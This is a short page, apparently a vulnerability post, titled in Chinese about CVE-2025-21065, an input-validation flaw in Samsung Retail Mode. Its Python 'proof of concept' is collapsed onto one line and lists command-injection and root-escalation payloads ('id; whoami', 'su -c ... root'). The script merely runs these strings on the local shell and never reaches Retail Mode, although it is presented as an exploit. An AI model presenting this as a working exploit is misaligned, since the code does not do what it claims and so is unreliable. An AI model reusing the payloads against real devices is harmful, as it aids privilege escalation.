CVE-2025-21065：Samsung Retail Mode输入验证不当导致特权命令执行

# CVE-2025-21065 PoC - Samsung Retail Mode Input Validation Vulnerability # This PoC demonstrates the concept of exploiting improper input validation # in Samsung Retail Mode to execute privileged commands import subprocess import sys def exploit_retail_mode(payload): """ Exploit improper input validation in Samsung Retail Mode (pre-5.59.11) to execute privileged commands on the device. The vulnerability exists due to insufficient validation of user inputs passed to system command execution functions within Retail Mode. """ # The Retail Mode processes certain inputs without proper sanitization # Attackers can inject shell commands through these input vectors # Example payload: injecting commands through retail mode input handler # The input is passed directly to system() or exec() without validation try: # Simulating the vulnerable input processing # In actual exploitation, this would target the Retail Mode service result = subprocess.run( payload, shell=True, capture_output=True, text=True ) return result.stdout except Exception as e: return f"Error: {e}" def main(): # Example command injection payloads for Retail Mode payloads = [ # Payload 1: Basic command injection through input field "id; whoami", # Payload 2: Privilege escalation attempt "su -c 'id' root", # Payload 3: System information gathering "cat /system/build.prop | grep -i version", ] for payload in payloads: print(f"[*] Attempting payload: {payload}") result = exploit_retail_mode(payload) print(f"[+] Result: {result}\n") if __name__ == "__main__": main()